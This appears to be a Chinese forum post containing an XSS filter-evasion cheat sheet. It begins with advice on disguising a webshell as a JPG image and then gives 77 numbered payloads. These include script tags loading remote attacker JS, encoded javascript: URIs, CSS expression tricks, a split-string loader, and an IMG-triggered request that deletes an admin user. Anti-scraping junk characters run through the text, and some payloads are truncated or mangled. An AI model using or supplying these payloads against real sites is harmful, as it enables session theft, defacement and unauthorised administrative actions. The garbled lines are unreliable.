跨站图片shell
% a6 d8 l! u" [/ I- _XSS跨站代码 <script>alert("")</script>$ i0 c2 G# w- g* T2 Y# o
* X+ ~% O, D; F" V+ `5 ]( X
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
; F* Y: ^& T7 ^' u; A2 E8 s- @$ L' Q3 [2 y7 B' x. g- J3 |2 `; k
, \5 g2 |' i* f! z8 S/ i" ]
7 {" Y. l# M- i8 v0 I3 p1)普通的XSS JavaScript注入+ J& i6 t |) [0 I1 ]
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
3 L) E6 B! w6 p4 e! W
% u) x, Q- b: B% y5 L2 C+ {2 {* h5 {(2)IMG标签XSS使用JavaScript命令
; b2 _0 T3 b* h<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>1 _! b" j$ G" A. d1 A4 j! q. K
0 b" u( P' c, C3 W( S# w9 \7 x% v(3)IMG标签无分号无引号
5 j: f f' A5 D: x% ~% A<IMG SRC=javascript:alert(‘XSS’)>8 @2 s% s8 \4 s
, T' T3 B$ H+ G4 c
(4)IMG标签大小写不敏感
. k) d R1 ?0 w5 [<IMG SRC=JaVaScRiPt:alert(‘XSS’)># s1 O$ ]4 v& ~ o" S
: W0 l& A7 [3 G" Z6 N: T(5)HTML编码(必须有分号)# j- }6 @2 h+ {6 E8 U
<IMG SRC=javascript:alert(“XSS”)>* U: J) k0 z% u# }4 x) N
) v" W: ^* b9 k! v) d4 ^(6)修正缺陷IMG标签0 `8 P+ N% _* c; U: O
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
" f6 i8 L4 E# S) R2 @$ y
2 p! x- l) X0 I0 @(7)formCharCode标签(计算器)* L; E$ c! F T& n/ [# L8 W6 y
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
+ r" \7 H5 u% l7 X! Q; } c& v
5 }5 S( ]* F6 Y) T( j9 {1 ?(8)UTF-8的Unicode编码(计算器)8 D# n7 U [5 ~ p
<IMG SRC=jav..省略..S')>
! I6 @6 E: }9 C+ i, H S. }# V% E+ H: v4 x$ Y3 x d
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
' E6 Q. W% H3 U' [. p. L<IMG SRC=jav..省略..S')>. v* s4 b( L) r5 n/ o0 c/ V8 b8 z+ U
C+ @1 r$ @: y. h' O/ T6 K
(10)十六进制编码也是没有分号(计算器)
8 S" c4 \$ s8 Y<IMG SRC=java..省略..XSS')>
9 f) `4 \" `( @ Q/ ]* l
: n$ U4 c6 [: @' Y9 C(11)嵌入式标签,将Javascript分开
& B$ ^, \4 e/ |4 C<IMG SRC=”jav ascript:alert(‘XSS’);”>
) [$ h' R* B4 `' |5 X7 b( P: q0 d
; ]! y/ n# k( V$ S(12)嵌入式编码标签,将Javascript分开
8 q# C! M( V: Y+ u* {2 |: `4 g& u+ v6 l<IMG SRC=”jav ascript:alert(‘XSS’);”># E* O$ |- Y5 f" j
5 s1 k& v3 N2 }( K* g8 u(13)嵌入式换行符( l, ? L2 a4 f% l" j. w4 ^
<IMG SRC=”jav ascript:alert(‘XSS’);”>
: q) D W- q7 g* Z
9 R4 U& m' w4 N) D, c(14)嵌入式回车
3 R: q/ \& T# P" {0 K- s* D1 E<IMG SRC=”jav ascript:alert(‘XSS’);”>) Q3 Z. L0 w7 s7 t8 S2 V
! H5 @9 ?; I9 r3 w0 X" R5 b(15)嵌入式多行注入JavaScript,这是XSS极端的例子* M7 P5 f3 \ g' V) O, V- `& L
<IMG SRC=”javascript:alert(‘XSS‘)”>
, a5 F H; \' Z: y
% _: C: w% {- o5 l0 N(16)解决限制字符(要求同页面): p3 n; T- ^& t3 t' ]0 p
<script>z=’document.’</script>
4 v( E% O7 W8 [/ J; g$ ~* `. _+ T<script>z=z+’write(“‘</script>
9 j5 `" I' C$ C' F) F7 Y<script>z=z+’<script’</script>
3 r# n0 a8 L0 q<script>z=z+’ src=ht’</script>
( L; y* h# S' B4 L<script>z=z+’tp://ww’</script>7 W% _1 F, f4 w9 n' s" j8 Z; E5 y# a: f
<script>z=z+’w.shell’</script>; d' i0 M9 c* |
<script>z=z+’.net/1.’</script>1 f, _7 u/ z, y6 x. q' I
<script>z=z+’js></sc’</script>4 v2 K t L$ W+ j- q
<script>z=z+’ript>”)’</script>
6 a' Y5 o B; u" a1 o<script>eval_r(z)</script>7 J4 Q/ K0 N! N5 v
3 p/ T3 t* _& f(17)空字符
( K$ K" e, D, c- t' operl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
4 l: I' a4 p0 _7 n$ |4 l5 [% X
9 m7 }- X1 m. C) Y# z(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
4 Q( T# L+ V2 T/ @* kperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
2 x; w' T4 Z9 a8 T. K: D
3 E; l# X" a5 i(19)Spaces和meta前的IMG标签' ?1 F u5 M. W- A* F! ^ @
<IMG SRC=” javascript:alert(‘XSS’);”> s) Z' ^+ E! E. H3 G) p, ` [
T/ k s: k! j# {( |; y3 t(20)Non-alpha-non-digit XSS& `8 e4 ^& E+ B4 i. J/ E5 B
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
- Z6 m' R. }7 B
% Y2 W! p1 E) u5 ?& J: k(21)Non-alpha-non-digit XSS to 24 x" q W; b: B; X' n
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
. p& b0 {3 Q. G, [# J) n' R/ G
& n+ k6 R; h$ _& Z2 ]6 B(22)Non-alpha-non-digit XSS to 3
$ y* F1 W9 k( D! d& x& S7 \<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>) P5 \& I1 a; E% E7 A% r; ?! N
# A; r9 |" N8 s- L( `$ B3 N; E' P
(23)双开括号
+ K: F3 m0 e. k<<SCRIPT>alert(“XSS”);//<</SCRIPT>* j' P. H7 O4 s
& i' N% X$ N7 K, D. T4 r C
(24)无结束脚本标记(仅火狐等浏览器)4 O$ g) z+ r/ W9 R9 T
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>$ f8 j2 t, G: T7 m% Q
; s0 F" u5 t! @! |; t
(25)无结束脚本标记2
# T# o" O5 T1 i# w/ I7 I# Q<SCRIPT SRC=//3w.org/XSS/xss.js>$ m9 w( ^; m2 o% `; i. A
8 U5 s- e, D7 \3 ~7 G4 N
(26)半开的HTML/JavaScript XSS/ U: u* j7 |: \0 r1 m% Z
<IMG SRC=”javascript:alert(‘XSS’)”
, S1 z6 E: l& o7 I. R" |
( ?8 w9 }# ^0 C- R9 y" u(27)双开角括号$ D+ ?1 u7 P( c8 o
<iframe src=http://3w.org/XSS.html <1 F5 r4 L0 |/ m7 `! I" v
. J( h6 \: I/ e5 M* o
(28)无单引号 双引号 分号
; N Y0 k; Y+ z7 p" m1 ^1 r6 s<SCRIPT>a=/XSS/
6 Z7 z. s3 V2 F5 G7 p4 y7 oalert(a.source)</SCRIPT>/ t: P/ Q" P7 r* `" Y ~
6 m- w# V- h9 g5 } s5 A(29)换码过滤的JavaScript) p! G, V; X8 q* O' H5 q" T
\”;alert(‘XSS’);//- B. Z! p) z j$ K" g
; N0 `+ p6 D) G4 i- P: t# r
(30)结束Title标签
" M H% }9 z7 |0 \7 D$ v1 g</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>3 ?% O+ P! A( E2 h: d$ `1 w5 e1 @
! |! a! P% y' O; n1 |. @: N
(31)Input Image
7 x# t( b5 r: f4 h<INPUT SRC=”javascript:alert(‘XSS’);”>
1 B7 e X; F; U! t8 z
1 N9 E2 y: C0 \# V1 C( }8 I, }(32)BODY Image) ~, n+ b7 T8 ^: d
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
1 Q/ Z* C) Y. J: h0 m7 I
- T! b' s9 l8 P; q(33)BODY标签$ F9 J- ?9 M1 P, w- G( D8 q! V
<BODY(‘XSS’)> h1 L5 d+ N* [8 v& `/ }- J: O
% q7 p& S* u) v* d3 z& v( F
(34)IMG Dynsrc
( M2 o$ I" J" r( [; \; {' P* D" J<IMG DYNSRC=”javascript:alert(‘XSS’)”>1 v1 ^. h& i- O" x; }% G N9 W" x
% ?: D9 \' M( M: _6 Y! m+ z% V9 E
(35)IMG Lowsrc
+ m8 z' c" o8 g<IMG LOWSRC=”javascript:alert(‘XSS’)”>
2 f) ^9 M* Q0 B( n, v% v+ c9 R: C7 C7 j
(36)BGSOUND
1 r" }1 ~0 o. g! p" g" Q- d<BGSOUND SRC=”javascript:alert(‘XSS’);”>
5 f8 C- r2 R* Z2 `4 T. C: I
+ {* X5 {' X U7 j4 G5 l(37)STYLE sheet
9 b2 R0 p% s/ Y, q4 l* N$ I! i<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>- H: T- A3 t. c& |- s- i
3 }0 b5 s3 p1 Y. q4 x) s5 z- x, @(38)远程样式表
8 |3 ^: C( o8 i* K A: s9 {8 |<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>4 M- ~0 ^6 V+ U0 h
9 F( F: s! Z! D9 K(39)List-style-image(列表式)0 s& C0 Z8 ?6 [2 a9 L/ R9 Z* U
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS+ P. b0 z* I, t5 L Z
/ K2 _" m0 L% ^2 s(40)IMG VBscript3 d" B9 u- V5 k! q: P0 N' C
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
' N; O: ?4 h9 q" l* v7 M$ f% j# R
(41)META链接url
" O# Q' U) a7 s7 A<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
) f* A" {: [, ~" d0 e- S7 U& J2 x, f* e5 L/ K) H" ~& u0 N
(42)Iframe
0 P- D F' t0 ?. Q k6 ~- _( K<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
+ R% ]! Y T; R5 |& k! n% R7 d. E8 B(43)Frame( \" [ k0 L% ]2 K/ ~
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>1 r8 ~9 A! n0 V3 T
- N0 n) |& @3 |5 O$ N, ?2 r
(44)Table/ M% @, b7 n& h+ \1 u' {
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
5 @' _9 ^8 r1 n" X9 p
* [5 N' q8 d) N( |1 P+ o2 ^(45)TD
3 G. N$ R: @$ w& `$ n' H: D6 o5 D<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
9 R) J2 w1 K! K% E/ c% M% x: k
: b8 ~2 C4 g$ e, h6 I- w(46)DIV background-image
& U) [$ |9 K" e& w" A$ j* G& t<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>+ I: ^) |) i6 c% S/ R9 N4 G# }
4 N6 u9 L) h# g6 x2 h& U r(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)6 w0 Y) h3 j3 W# C
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
( n6 B0 t8 u+ o! Q7 Z- N q! [( H8 h4 D5 s
(48)DIV expression* H/ ?/ k. H) M7 Y5 a
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>% Z% L* V6 n) h% T8 T( Y0 M' ?9 N0 s
6 h, s D' t9 V. }; @# F8 v(49)STYLE属性分拆表达# a, N; [0 }3 j# ]3 h, D
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>' b! L$ f2 t8 H# ~
! c% h( {- d5 c) Q& p; m(50)匿名STYLE(组成:开角号和一个字母开头), T, I* E2 |, ~* p. \: F
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>. _7 F9 g: e5 Y9 B
+ A) V4 Y8 d: B& e(51)STYLE background-image- y. h; z5 e8 u
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>7 N- k4 L+ o4 U) M+ x
W, Y+ F- J8 E) B4 r/ }% j0 {8 V7 W
(52)IMG STYLE方式
$ h) `1 E& G7 Zexppression(alert(“XSS”))’>) V3 m( r) f( s) e6 Y8 Z: r; g z5 @
/ X0 \" |- ~) G' R4 l& A(53)STYLE background* e) B6 i; [/ a# d
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
9 v% e- T* Q6 O- f$ R' Z* O( B
6 z0 B$ j$ P+ l d9 L(54)BASE
3 [0 w- P9 U' W, l<BASE HREF=”javascript:alert(‘XSS’);//”>
% Y9 t- s" H: }8 d* Q& j
) ]( I; ^7 X% y+ ]2 K+ [* E(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS; D& b& M+ o$ t z$ I
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
# u: m. p- y$ ~
& P( l7 p9 }) [9 z! |9 @1 s! N, {(56)在flash中使用ActionScrpt可以混进你XSS的代码% u- w% G. [ R4 q6 {8 i0 i5 J
a=”get”;
( k) g- D- z7 D" V$ m+ \b=”URL(\”";
% s. |7 A! r6 Z4 D6 q' y, U! Bc=”javascript:”;0 B( c x' Z: ?. R8 p) e
d=”alert(‘XSS’);\”)”;, z+ X# z" o6 O
eval_r(a+b+c+d);4 u/ J$ E0 x) M+ C3 a) J% a
4 |' e+ u- M% F8 W
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
3 o5 h+ {! a9 `- E! \) z<HTML xmlns:xss>, q \5 `. d* U6 k1 Y0 A8 F
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>3 K3 @6 C; @: W( ^8 L
<xss:xss>XSS</xss:xss>
3 E0 F8 z, j' [+ i% Q: B</HTML>5 ?4 a3 k' t2 g' q7 i6 [, [
# D U! d) C8 M7 } R4 A
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用3 e0 f5 v) g6 T7 R
<SCRIPT SRC=””></SCRIPT>6 D ?! v7 \3 f+ w" m& A
# e5 |* X! n1 \/ E(59)IMG嵌入式命令,可执行任意命令
1 Q: A4 n8 k8 c3 J<IMG SRC=”http://www.XXX.com/a.php?a=b”>' F2 A% j7 n. r9 ~2 [5 ~+ ?
6 k. C( H2 M0 Z
(60)IMG嵌入式命令(a.jpg在同服务器)
V/ M2 p1 L+ b- x' m8 I/ C2 q2 ERedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser) ]1 f: G* |* D) f w$ K% e
. ~6 F* T3 C, h1 A& ^. Y(61)绕符号过滤
. u; q* X# d4 d) o N0 m; U5 ?+ p<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>: g8 j9 m& b, R E
; [! T: y. W3 z6 J$ _, U) H(62)
7 s9 C& s6 T j; i( P: r$ M2 D<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
; N& c5 }' h$ A* c+ z3 P/ L
& D2 G6 R& E6 V/ N, ~/ Y(63)5 z Q( g* }9 m9 T$ {! \6 l
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
7 q' X; C+ d2 m D( b# o6 d; T) x
# F7 y; Z I! {* x$ z(64)
A3 U0 {& h! }% c<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
0 ^5 S( M4 X8 I+ T, O
& n; }' m) ~$ J: t* L4 E(65)7 C& g* Y( U6 c$ ]
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>9 z$ R2 p, {, k
, N, L1 J4 V$ e* L' b(66)) Q! X0 L# _# f* E7 I! c
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>0 ~' ~: c0 s& `3 x
_5 e& n+ w& U! i, R9 I(67)
& N+ ?: y0 n4 ~<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
+ d. V: z& B$ C' U t( C3 r
\6 e. f( Y( K, W# @4 k; `(68)URL绕行0 ?3 _8 Z5 N6 ~, v# e' _
<A HREF=”http://127.0.0.1/”>XSS</A>
! Z6 j4 t e q$ |2 s: d, ?" P' q- a6 t
(69)URL编码0 `/ i( \- K4 E$ J1 g v
<A HREF=”http://3w.org”>XSS</A>4 N6 M8 y; d& k) A3 N4 C+ r t5 ?
/ V5 g/ \: U2 C, [; l9 Z
(70)IP十进制: e2 V: u$ g, L8 s: d ?
<A HREF=”http://3232235521″>XSS</A>
5 f* K" M7 r+ p
; G7 X% Z) ]& S1 a. x(71)IP十六进制
f/ y* Q w+ G$ Y* O0 g<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>9 d2 _# e8 f4 h4 ]. w- h
\. y, n$ ~* H/ M' _( u(72)IP八进制, d6 }, v- h! K* Z
<A HREF=”http://0300.0250.0000.0001″>XSS</A>4 q8 z- L% I5 P1 V' Z5 c4 l2 K Y
2 P+ K$ Z- L I5 F. G6 u! B# R
(73)混合编码$ R6 I9 |. A, f. v( g0 ^( @0 F
<A HREF=”h
0 b1 |; U! x; } c) D% {tt p://6 6.000146.0×7.147/”">XSS</A>
. q" ^) f @6 a, j+ t( I8 Z
3 s0 M+ e5 J' h' A6 U(74)节省[http:]$ U6 W! B, T; M* h" {& H8 X/ e
<A HREF=”//www.google.com/”>XSS</A>
; p# w) H( W3 ?( R5 {$ p6 y
) a; @: @2 A: y# Q; G9 j5 c# x(75)节省[www]4 U, T, X& ^. w# y1 X& t- o
<A HREF=”http://google.com/”>XSS</A>
2 Y# h' ^- w! o% t: ]
! }! U+ \- | M! A$ n- S: x5 B- A; m(76)绝对点绝对DNS9 }1 d" q6 D5 T# P0 ]1 y
<A HREF=”http://www.google.com./”>XSS</A>
" t; f ?1 U% R2 |, V) j9 H
c% O; X7 ]3 o @(77)javascript链接
2 h5 @: W& H/ V' V' X* A<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>6 W9 E6 F9 x0 `& S' E; g+ q, N
|